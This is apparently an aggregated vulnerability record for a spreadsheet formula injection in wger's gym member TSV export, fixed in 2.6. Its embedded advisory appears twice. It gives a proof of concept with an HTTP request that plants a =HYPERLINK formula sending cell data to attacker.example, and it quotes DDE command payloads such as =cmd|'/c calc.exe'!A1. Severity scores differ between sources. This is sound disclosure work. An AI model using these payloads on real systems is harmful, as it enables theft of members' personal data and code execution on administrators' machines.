{"id":"CVE-2026-86257","aliases":["EUVD-2026-72113","GHSA-pmr9-wpc3-f495","GHSA-xq9m-hmp9-fw87"],"status":"published","title":"wger before 2.6 CSV Formula Injection via member export","description":"wger before 2.6 fails to sanitize first_name and last_name fields in the gym member TSV export endpoint, allowing any gym member to inject spreadsheet formulas. Attackers can inject formulas like =HYPERLINK to exfiltrate admin data or execute code when admins open the exported file in Excel or LibreOffice Calc.","severity":{"version":"4.0","score":4.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00277,"percentile":0.20385,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1236"],"published":"2026-05-06T19:48:16Z","modified":"2026-10-28T02:31:08Z","fixes":[{"ecosystem":"PyPI","package":"wger","fixed_in":["2.6"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"wger","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.5"},{"fixed":"2.6"}]}]},{"source":"osv","ecosystem":"PyPI","package":"wger","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.6"}]}],"versions":["1.1","1.1.1","1.2","1.2rc1","1.3","1.4","1.5","1.6","1.6.1","1.7","1.8","1.9","2.0","2.1"]}],"products":[{"vendor":"wger-project","product":"wger"}],"references":[{"url":"https://github.com/wger-project/wger/security/advisories/GHSA-xq9m-hmp9-fw87","tags":["vendor-advisory","exploit","advisory","web"]},{"url":"https://www.vulncheck.com/advisories/wger-before-2.6-csv-formula-injection-via-member-export","tags":["third-party-advisory","advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-86257","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-pmr9-wpc3-f495"},{"url":"https://github.com/advisories/GHSA-xq9m-hmp9-fw87"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/86xxx/CVE-2026-86257.json","tags":["advisory"]},{"url":"https://github.com/wger-project/wger","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-86257","title":"wger before 2.6 CSV Formula Injection via member export","description":"wger before 2.6 fails to sanitize first_name and last_name fields in the gym member TSV export endpoint, allowing any gym member to inject spreadsheet formulas. Attackers can inject formulas like =HYPERLINK to exfiltrate admin data or execute code when admins open the exported file in Excel or LibreOffice Calc.","status":"published","published":"2026-09-06T12:00:30.969Z","modified":"2026-09-08T15:10:52.649Z","cvss":[{"version":"4.0","score":4.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","level":"medium","assessor":"cna"},{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-1236"],"updated_at":"2026-11-02T13:49:42.666099Z"}],"euvd":[{"id":"EUVD-2026-72113","description":"wger before 2.6 fails to sanitize first_name and last_name fields in the gym member TSV export endpoint, allowing any gym member to inject spreadsheet formulas. Attackers can inject formulas like =HYPERLINK to exfiltrate admin data or execute code when admins open the exported file in Excel or LibreOffice Calc.","status":"published","published":"2026-09-06T12:00:30Z","modified":"2026-09-08T15:10:52Z","cvss":[{"version":"4.0","score":4.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","level":"medium"}],"updated_at":"2026-11-02T17:28:29.426Z"}],"ghsa":[{"id":"GHSA-pmr9-wpc3-f495","title":"wger before 2.6 fails to sanitize first_name and last_name fields in the gym member TSV export...","description":"wger before 2.6 fails to sanitize first_name and last_name fields in the gym member TSV export endpoint, allowing any gym member to inject spreadsheet formulas. Attackers can inject formulas like =HYPERLINK to exfiltrate admin data or execute code when admins open the exported file in Excel or LibreOffice Calc.","status":"published","published":"2026-09-06T12:30:24Z","modified":"2026-09-06T12:30:31Z","cvss":[{"version":"4.0","score":4.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium"},{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-1236"],"updated_at":"2026-11-02T15:11:25.773648Z"},{"id":"GHSA-xq9m-hmp9-fw87","title":"wger: CSV/TSV formula injection in gym member export (first_name/last_name)","description":"### Summary\n\nThe gym member TSV export endpoint in wger writes `first_name` and `last_name` profile fields verbatim to TSV cells with no formula-prefix sanitization. Any gym member (including newly self-registered users) can pre-load a spreadsheet formula into their own profile. When a gym admin later exports the member list and opens the file in Excel, LibreOffice Calc, or Google Sheets, the formula executes in the admin's local spreadsheet context — enabling data exfiltration and, on legacy Excel with DDE enabled, arbitrary local code execution.\n\n### Details\n\n**File**: `wger/gym/views/export.py`, approximately line 73\n\n```python\n# VULNERABLE - wger/gym/views/export.py\nwriter.writerow([\n    user.id,\n    gym.name,\n    user.username,\n    user.email,\n    user.first_name,   # written verbatim - no formula prefix sanitization\n    user.last_name,    # written verbatim\n    ...\n])\n```\n\nPython's `csv.writer` does not escape spreadsheet formula triggers (`=`, `+`, `-`, `@`, `\\t`, `\\r`). Any gym member can set their `first_name` to `=HYPERLINK(\"http://attacker.example/?p=\"\u0026A1,\"click\")` via the profile edit endpoint. The string is stored in the database and reproduced without modification in every subsequent TSV export. When a gym admin opens the resulting file in a formula-evaluating spreadsheet application, the formula executes in their local context — outside the wger server boundary.\n\n**Affected endpoints**:\n- `GET /en/gym/export/users/\u003cgym_pk\u003e` -\u003e `wger.gym.views.export` (TSV download)\n- Profile fields injected via profile edit endpoint (first_name/last_name)\n\n**Suggested patch**:\n\n```diff\n--- a/wger/gym/views/export.py\n+++ b/wger/gym/views/export.py\n+FORMULA_PREFIXES = ('=', '+', '-', '@', '\\t', '\\r')\n+\n+def sanitise_cell(value):\n+    \"\"\"Prefix formula-triggering strings with a single-quote to neutralise.\"\"\"\n+    s = str(value) if value is not None else ''\n+    if s and s[0] in FORMULA_PREFIXES:\n+        return \"'\" + s\n+    return s\n+\n writer.writerow([\n     user.id,\n     gym.name,\n     user.username,\n     user.email,\n-    user.first_name,\n-    user.last_name,\n+    sanitise_cell(user.first_name),\n+    sanitise_cell(user.last_name),\n     ...\n ])\n```\n\nPrepending `'` to any cell value beginning with `=`, `+`, `-`, or `@` is the standard OWASP-recommended mitigation for CSV/TSV formula injection. Apply `sanitise_cell` to all exported user-supplied fields, or subclass `csv.writer` to apply the sanitization globally for future fields.\n\n### PoC\n\nTested on `wger/server:latest` Docker image. Test users: gym member (any registered user) and trainer1 (`manage_gym` permission).\n\n**Step 1** - Inject formula payload into profile (any gym member, including self-registered):\n\n```\nPOST /en/user/\u003cuser_pk\u003e/overview HTTP/1.1\nHost: target\nContent-Type: application/x-www-form-urlencoded\nCookie: sessionid=[member_session]\n\nfirst_name=%3DHYPERLINK%28%22http%3A%2F%2Fattacker.example%2Fx%3Fp%3D%22%26A1%2C%22click%22%29\n```\n\nURL-decoded value: `=HYPERLINK(\"http://attacker.example/x?p=\"\u0026A1,\"click\")`\n\n**Step 2** - Gym admin exports member list:\n\n```\nGET /en/gym/export/users/2 HTTP/1.1\nHost: target\nCookie: sessionid=[trainer_session]\n\n-\u003e 200 OK\nContent-Disposition: attachment; filename=User-data-gym-2-[date].csv\n\n[... header row ...]\n2\tTestGym1\talice\talice@test.local\t=HYPERLINK(\"http://attacker.example/x?p=\"\u0026A1,\"click\")\t...\n```\n\n**Step 3** - Admin opens TSV in Excel, LibreOffice Calc, or Google Sheets:\n\n- Formula cell renders as clickable \"click\" hyperlink.\n- On click (or on file-open with DDE-enabled Excel): browser issues `GET http://attacker.example/x?p=[cell_A1_contents]`.\n- Attacker server receives exfiltrated spreadsheet data.\n\nConfirmed during testing: both `=cmd|calc.exe!A1` (DDE) and `=HYPERLINK(attacker.com)` payloads appear raw in the exported TSV response body.\n\nReproducibility: 2/2 runs after clean-baseline database reset.\n\n### Impact\n\nAny gym member (including self-registered users) can inject a spreadsheet formula into their own `first_name` or `last_name`. When a gym administrator with `manage_gym` permission later performs the routine member export and opens the TSV in a formula-evaluating spreadsheet application, the formula executes in the admin's local spreadsheet context:\n\n- **Data exfiltration**: other members' email addresses, phone numbers, and any PII displayed in adjacent cells can be posted to an attacker-controlled URL via `HYPERLINK` or `WEBSERVICE` functions.\n- **Local code execution** (legacy Excel with DDE enabled): payloads like `=cmd|'/c calc.exe'!A1` execute arbitrary commands on the admin's workstation.\n- **Phishing**: formulas can display admin-trusted text while silently redirecting on click.\n\n**Affected deployments**: every wger instance that delegates `manage_gym` to gym admins and where those admins periodically export the member list. The payload is stored persistently and survives indefinitely until the admin performs the export.\n\n**Severity**: High (CVSS 7.4). Network-reachable, stored payload triggered by legitimate admin workflow, scope unchanged (admin's local context), high confidentiality and integrity loss.\n\nThis is a standalone CWE-1236 vulnerability, independent of the `None != None` cluster of access-control findings. The fix is a small, local sanitization helper.","status":"published","published":"2026-05-06T19:48:16Z","modified":"2026-05-06T19:48:16Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-1236"],"updated_at":"2026-11-02T14:40:02.883746Z"}],"nvd":[{"id":"CVE-2026-86257","description":"wger before 2.6 fails to sanitize first_name and last_name fields in the gym member TSV export endpoint, allowing any gym member to inject spreadsheet formulas. Attackers can inject formulas like =HYPERLINK to exfiltrate admin data or execute code when admins open the exported file in Excel or LibreOffice Calc.","status":"published","published":"2026-09-06T12:17:16.7Z","modified":"2026-09-08T19:59:42.5Z","cvss":[{"version":"4.0","score":4.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"},{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-1236"],"updated_at":"2026-11-02T14:12:44.082631Z"}],"osv":[{"id":"CVE-2026-86257","title":"wger before 2.6 CSV Formula Injection via member export","description":"wger before 2.6 fails to sanitize first_name and last_name fields in the gym member TSV export endpoint, allowing any gym member to inject spreadsheet formulas. Attackers can inject formulas like =HYPERLINK to exfiltrate admin data or execute code when admins open the exported file in Excel or LibreOffice Calc.","status":"published","published":"2026-09-06T12:00:30.969Z","modified":"2026-10-28T02:31:08.072598613Z","cvss":[{"version":"4.0","score":4.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","level":"medium"}],"cwes":["CWE-1236"],"updated_at":"2026-11-02T15:45:18.825071Z"},{"id":"GHSA-xq9m-hmp9-fw87","title":"wger: CSV/TSV formula injection in gym member export (first_name/last_name)","description":"### Summary\n\nThe gym member TSV export endpoint in wger writes `first_name` and `last_name` profile fields verbatim to TSV cells with no formula-prefix sanitization. Any gym member (including newly self-registered users) can pre-load a spreadsheet formula into their own profile. When a gym admin later exports the member list and opens the file in Excel, LibreOffice Calc, or Google Sheets, the formula executes in the admin's local spreadsheet context — enabling data exfiltration and, on legacy Excel with DDE enabled, arbitrary local code execution.\n\n### Details\n\n**File**: `wger/gym/views/export.py`, approximately line 73\n\n```python\n# VULNERABLE - wger/gym/views/export.py\nwriter.writerow([\n    user.id,\n    gym.name,\n    user.username,\n    user.email,\n    user.first_name,   # written verbatim - no formula prefix sanitization\n    user.last_name,    # written verbatim\n    ...\n])\n```\n\nPython's `csv.writer` does not escape spreadsheet formula triggers (`=`, `+`, `-`, `@`, `\\t`, `\\r`). Any gym member can set their `first_name` to `=HYPERLINK(\"http://attacker.example/?p=\"\u0026A1,\"click\")` via the profile edit endpoint. The string is stored in the database and reproduced without modification in every subsequent TSV export. When a gym admin opens the resulting file in a formula-evaluating spreadsheet application, the formula executes in their local context — outside the wger server boundary.\n\n**Affected endpoints**:\n- `GET /en/gym/export/users/\u003cgym_pk\u003e` -\u003e `wger.gym.views.export` (TSV download)\n- Profile fields injected via profile edit endpoint (first_name/last_name)\n\n**Suggested patch**:\n\n```diff\n--- a/wger/gym/views/export.py\n+++ b/wger/gym/views/export.py\n+FORMULA_PREFIXES = ('=', '+', '-', '@', '\\t', '\\r')\n+\n+def sanitise_cell(value):\n+    \"\"\"Prefix formula-triggering strings with a single-quote to neutralise.\"\"\"\n+    s = str(value) if value is not None else ''\n+    if s and s[0] in FORMULA_PREFIXES:\n+        return \"'\" + s\n+    return s\n+\n writer.writerow([\n     user.id,\n     gym.name,\n     user.username,\n     user.email,\n-    user.first_name,\n-    user.last_name,\n+    sanitise_cell(user.first_name),\n+    sanitise_cell(user.last_name),\n     ...\n ])\n```\n\nPrepending `'` to any cell value beginning with `=`, `+`, `-`, or `@` is the standard OWASP-recommended mitigation for CSV/TSV formula injection. Apply `sanitise_cell` to all exported user-supplied fields, or subclass `csv.writer` to apply the sanitization globally for future fields.\n\n### PoC\n\nTested on `wger/server:latest` Docker image. Test users: gym member (any registered user) and trainer1 (`manage_gym` permission).\n\n**Step 1** - Inject formula payload into profile (any gym member, including self-registered):\n\n```\nPOST /en/user/\u003cuser_pk\u003e/overview HTTP/1.1\nHost: target\nContent-Type: application/x-www-form-urlencoded\nCookie: sessionid=[member_session]\n\nfirst_name=%3DHYPERLINK%28%22http%3A%2F%2Fattacker.example%2Fx%3Fp%3D%22%26A1%2C%22click%22%29\n```\n\nURL-decoded value: `=HYPERLINK(\"http://attacker.example/x?p=\"\u0026A1,\"click\")`\n\n**Step 2** - Gym admin exports member list:\n\n```\nGET /en/gym/export/users/2 HTTP/1.1\nHost: target\nCookie: sessionid=[trainer_session]\n\n-\u003e 200 OK\nContent-Disposition: attachment; filename=User-data-gym-2-[date].csv\n\n[... header row ...]\n2\tTestGym1\talice\talice@test.local\t=HYPERLINK(\"http://attacker.example/x?p=\"\u0026A1,\"click\")\t...\n```\n\n**Step 3** - Admin opens TSV in Excel, LibreOffice Calc, or Google Sheets:\n\n- Formula cell renders as clickable \"click\" hyperlink.\n- On click (or on file-open with DDE-enabled Excel): browser issues `GET http://attacker.example/x?p=[cell_A1_contents]`.\n- Attacker server receives exfiltrated spreadsheet data.\n\nConfirmed during testing: both `=cmd|calc.exe!A1` (DDE) and `=HYPERLINK(attacker.com)` payloads appear raw in the exported TSV response body.\n\nReproducibility: 2/2 runs after clean-baseline database reset.\n\n### Impact\n\nAny gym member (including self-registered users) can inject a spreadsheet formula into their own `first_name` or `last_name`. When a gym administrator with `manage_gym` permission later performs the routine member export and opens the TSV in a formula-evaluating spreadsheet application, the formula executes in the admin's local spreadsheet context:\n\n- **Data exfiltration**: other members' email addresses, phone numbers, and any PII displayed in adjacent cells can be posted to an attacker-controlled URL via `HYPERLINK` or `WEBSERVICE` functions.\n- **Local code execution** (legacy Excel with DDE enabled): payloads like `=cmd|'/c calc.exe'!A1` execute arbitrary commands on the admin's workstation.\n- **Phishing**: formulas can display admin-trusted text while silently redirecting on click.\n\n**Affected deployments**: every wger instance that delegates `manage_gym` to gym admins and where those admins periodically export the member list. The payload is stored persistently and survives indefinitely until the admin performs the export.\n\n**Severity**: High (CVSS 7.4). Network-reachable, stored payload triggered by legitimate admin workflow, scope unchanged (admin's local context), high confidentiality and integrity loss.\n\nThis is a standalone CWE-1236 vulnerability, independent of the `None != None` cluster of access-control findings. The fix is a small, local sanitization helper.","status":"published","published":"2026-05-06T19:48:16Z","modified":"2026-09-10T03:51:07.207761186Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-1236"],"updated_at":"2026-11-02T15:47:00.198893Z"}]}}
